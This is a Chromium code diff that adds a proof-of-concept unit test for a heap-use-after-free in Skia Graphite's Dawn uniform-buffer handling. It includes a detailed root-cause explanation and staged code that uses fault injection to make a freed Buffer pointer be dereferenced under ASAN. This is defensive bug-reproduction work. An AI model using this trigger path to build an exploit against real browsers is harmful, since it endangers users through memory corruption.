diff --git a/gpu/BUILD.gn b/gpu/BUILD.gn index 29b076c8350f0..d91a536717bba 100644 --- a/gpu/BUILD.gn +++ b/gpu/BUILD.gn @@ -606,6 +606,7 @@ test("gpu_unittests") { if (skia_use_dawn) { sources += [ "command_buffer/service/graphite_shared_context_unittest.cc" ] + sources += [ "command_buffer/service/graphite_uaf_poc_unittest.cc" ] } configs += [ "//build/config:precompiled_headers" ] diff --git a/gpu/command_buffer/service/graphite_uaf_poc_unittest.cc b/gpu/command_buffer/service/graphite_uaf_poc_unittest.cc new file mode 100644 index 0000000000000..43348689b9bed --- /dev/null +++ b/gpu/command_buffer/service/graphite_uaf_poc_unittest.cc @@ -0,0 +1,214 @@ +// POC: heap-use-after-free of skgpu::graphite::Buffer in DawnCommandBuffer. +// +// Root cause: DrawList::snapDrawPass early-returns on +// bufferMgr->hasMappingFailed() WITHOUT calling this->reset(). The persistent +// DrawListBase::fUniformDataCache retains entries whose +// BindBufferInfo::fBuffer is a *raw* `const Buffer*` pointing at a uniform +// Buffer whose owning sk_sp was already dropped by +// DrawBufferManager::onFailedBuffer() (fUsedBuffers.clear()). +// +// On the next snap, the UBO-path predicate +// if (!fBufferBinding.fBuffer || (fUseStorageBuffers && ...)) +// is false for the stale non-null pointer (Dawn-on-Vulkan has +// storageBufferSupport()==false), so the stale Buffer* is recorded into the +// DrawPass command list and later dereferenced by +// DawnResourceProvider::findOrCreateUniformBuffersBindGroup -> +// boundBuffer->uniqueID() / boundBuffer->dawnBuffer(). +// +// This test simulates the GPU-OOM that triggers onFailedBuffer() in +// production by injecting a single findOrCreateBuffer() failure mid-snap. The +// vulnerable code (early-return-without-reset, stale-pointer reuse) is +// completely unmodified. + +#include "build/build_config.h" +#include "skia/buildflags.h" +#include "testing/gtest/include/gtest/gtest.h" +#include "third_party/dawn/include/dawn/dawn_proc.h" +#include "third_party/dawn/include/dawn/native/DawnNative.h" // nogncheck +#include "third_party/skia/include/core/SkCanvas.h" +#include "third_party/skia/include/core/SkColor.h" +#include "third_party/skia/include/core/SkPaint.h" +#include "third_party/skia/include/core/SkSurface.h" +#include "third_party/skia/include/gpu/graphite/Context.h" +#include "third_party/skia/include/gpu/graphite/ContextOptions.h" +#include "third_party/skia/include/gpu/graphite/Recorder.h" +#include "third_party/skia/include/gpu/graphite/Recording.h" +#include "third_party/skia/include/gpu/graphite/Surface.h" +#include "third_party/skia/include/gpu/graphite/dawn/DawnBackendContext.h" + +// Fault-injection globals defined in +// third_party/skia/src/gpu/graphite/BufferManager.cpp. These simulate the +// production GPU-OOM that makes findOrCreateBuffer() return null. +namespace skgpu::graphite { +extern int gPocFailBufferAllocAfterN; +extern int gPocBufferAllocCount; +extern bool gPocLogAllocs; +extern bool gPocIsolateUniformCachePath; +} // namespace skgpu::graphite + +namespace gpu { +namespace { + +// Draw |count| solid-colour rects, each with a *distinct* paint colour so +// every draw produces a distinct UniformDataCache entry (and thus a distinct +// uniform-buffer binding on the UBO path). +static void DrawDistinctRects(SkCanvas* canvas, int count, int seed = 0) { + for (int i = 0; i < count; i++) { + SkPaint p; + // distinct RGBA per draw -> distinct UniformDataBlock -> new entry + p.setColor4f({(i + seed + 1) * 0.001f, (i + seed + 2) * 0.002f, + (i + seed + 3) * 0.003f, 1.0f}, + nullptr); + p.setBlendMode(SkBlendMode::kSrc); + canvas->drawRect( + SkRect::MakeXYWH((i % 16) * 4.f, (i / 16) * 4.f, 4.f, 4.f), p); + } +} + +TEST(GraphiteStaleUniformBufferUAF, PoC) { + // ---- Dawn-SwiftShader-Vulkan setup (UBO path: storageBufferSupport()==false + // on Dawn-Vulkan, see DawnCaps.cpp) ---- + dawnProcSetProcs(&dawn::native::GetProcs()); + wgpu::InstanceDescriptor instance_desc = {}; + static constexpr auto kTimedWaitAny = wgpu::InstanceFeatureName::TimedWaitAny; + instance_desc.requiredFeatureCount = 1; + instance_desc.requiredFeatures = &kTimedWaitAny; + dawn::native::Instance dawn_instance(&instance_desc); + + wgpu::RequestAdapterOptions ropts = {}; + ropts.backendType = wgpu::BackendType::Vulkan; +#if BUILDFLAG(IS_LINUX) + ropts.forceFallbackAdapter = true; // SwiftShader +#endif + ropts.featureLevel = wgpu::FeatureLevel::Core; + auto adapters = dawn_instance.EnumerateAdapters(&ropts); + ASSERT_FALSE(adapters.empty()); + wgpu::DeviceDescriptor ddesc = {}; + auto device = wgpu::Adapter(adapters[0].Get()).CreateDevice(&ddesc); + ASSERT_TRUE(device); + + skgpu::graphite::DawnBackendContext bc = {}; + bc.fInstance = wgpu::Instance(dawn_instance.Get()); + bc.fDevice = device; + bc.fQueue = device.GetQueue(); + + skgpu::graphite::ContextOptions copts; + std::unique_ptr ctx = + skgpu::graphite::ContextFactory::MakeDawn(bc, copts); + ASSERT_TRUE(ctx); + + std::unique_ptr recorder = ctx->makeRecorder(); + ASSERT_TRUE(recorder); + + auto ii = + SkImageInfo::Make(128, 128, kRGBA_8888_SkColorType, kPremul_SkAlphaType); + sk_sp surface = SkSurfaces::RenderTarget(recorder.get(), ii); + ASSERT_TRUE(surface); + SkCanvas* canvas = surface->getCanvas(); + + // Warm-up snap so that the first uniform Buffer allocated for the *real* + // workload below is not entangled with surface-init resources. + canvas->clear(SK_ColorBLACK); + { + auto rec = recorder->snap(); + ASSERT_TRUE(rec); + skgpu::graphite::InsertRecordingInfo info = {}; + info.fRecording = rec.get(); + ctx->insertRecording(info); + ctx->submit(skgpu::graphite::SyncToCpu::kYes); + } + + // ---- Phase 1: probe allocation pattern ---- + // Draw enough distinct-uniform rects to fill at least the first uniform + // buffer (default min block size 2KB; Dawn min UBO offset alignment 256B + // -> ~8 entries per first buffer, doubling thereafter). 200 draws guarantees + // multiple uniform-buffer retirements and multiple vertex-buffer allocations. + constexpr int kNumDraws = 200; + fprintf(stderr, "[POC] ---- probe snap ----\n"); + skgpu::graphite::gPocBufferAllocCount = 0; + skgpu::graphite::gPocLogAllocs = true; + DrawDistinctRects(canvas, kNumDraws); + int allocs_before_snap = skgpu::graphite::gPocBufferAllocCount; + { + auto rec = recorder->snap(); + ASSERT_TRUE(rec); + skgpu::graphite::InsertRecordingInfo info = {}; + info.fRecording = rec.get(); + ctx->insertRecording(info); + ctx->submit(skgpu::graphite::SyncToCpu::kYes); + } + skgpu::graphite::gPocLogAllocs = false; + int allocs_in_snap = + skgpu::graphite::gPocBufferAllocCount - allocs_before_snap; + fprintf(stderr, "[POC] allocs before snap: %d, during snap: %d\n", + allocs_before_snap, allocs_in_snap); + ASSERT_GE(allocs_in_snap, 4) + << "Need >=4 buffer allocations during snapDrawPass (uniform A, vertex " + "V1, uniform B, ...) for the bug to be reachable"; + + // ---- Phase 2: trigger the failed snap ---- + // Re-record the *same* draw workload. snapDrawPass will allocate uniform + // buffer A first, then vertex V1, then uniform B (retiring A's sk_sp to + // fUsedBuffers), then more. We inject the failure on the LAST allocation + // observed in the probe -> guaranteed to be after A was retired. + fprintf(stderr, "[POC] ---- failed snap ----\n"); + // Neutralise the *sibling* leftover-fUsedBuffers/transfer-buffer UAF (which + // would otherwise fire first in CopyBufferToBufferTask::addCommands) so the + // fUniformDataCache -> BindUniformBuffer -> DawnCommandBuffer path can be + // observed in isolation. With this flag *off*, the sibling UAF fires + // instead (also a real bug, same trigger). + skgpu::graphite::gPocIsolateUniformCachePath = true; + DrawDistinctRects(canvas, kNumDraws); + skgpu::graphite::gPocBufferAllocCount = 0; + skgpu::graphite::gPocLogAllocs = true; + // Fail the LAST allocation that snapDrawPass would have made: by then the + // first uniform buffer has long since been retired to fUsedBuffers and its + // sk_sp will be dropped by onFailedBuffer(). + skgpu::graphite::gPocFailBufferAllocAfterN = allocs_in_snap; + std::unique_ptr failed = recorder->snap(); + skgpu::graphite::gPocFailBufferAllocAfterN = 0; + skgpu::graphite::gPocLogAllocs = false; + ASSERT_FALSE(failed) + << "snap() should have failed (simulated GPU OOM mid-snapDrawPass)"; + fprintf(stderr, + "[POC] snap() returned nullptr; DrawList::reset() was SKIPPED. " + "fUniformDataCache now holds stale raw Buffer* entries.\n"); + skgpu::graphite::gPocIsolateUniformCachePath = false; + + // ---- Phase 3: free the dangling uniform Buffer ---- + // After onFailedBuffer() the first uniform Buffer's last sk_sp was dropped. + // Recorder::snap() already called forceProcessReturnedResources() so it is + // in the purgeable queue. Purge it now. + recorder->freeGpuResources(); + fprintf(stderr, + "[POC] freeGpuResources() purged the returned uniform Buffer.\n"); + + // ---- Phase 4: second snap reuses the surviving DrawList ---- + // fRenderStepCount > 0 (never reset) so modifiesTarget()==true and + // flushTrackedDevices() -> snapDrawPass re-iterates the surviving fSortKeys. + // On the UBO path, writeUniforms() sees stale non-null fBufferBinding.fBuffer + // and SKIPS re-upload, recording BindUniformBuffer{freed Buffer*} into the + // new DrawPass command list. + fprintf(stderr, "[POC] ---- second snap (re-iterates stale SortKeys) ----\n"); + std::unique_ptr rec2 = recorder->snap(); + ASSERT_TRUE(rec2) << "second snap should succeed"; + + // ---- Phase 5: insertRecording dereferences the freed Buffer* ---- + // RenderPassTask::addCommands -> DawnCommandBuffer::syncUniformBuffers -> + // DawnResourceProvider::findOrCreateUniformBuffersBindGroup -> + // make_ubo_bind_group_key: boundBuffer->uniqueID() <-- UAF READ + // entries[i].buffer = boundBuffer->dawnBuffer() <-- UAF READ + fprintf(stderr, + "[POC] insertRecording: DawnCommandBuffer will now dereference the " + "freed Buffer* (expect ASAN heap-use-after-free)\n"); + skgpu::graphite::InsertRecordingInfo info = {}; + info.fRecording = rec2.get(); + ctx->insertRecording(info); + ctx->submit(skgpu::graphite::SyncToCpu::kYes); + + fprintf(stderr, + "[POC] *** No ASAN report — bug did not reproduce on this run ***\n"); +} + +} // namespace +} // namespace gpu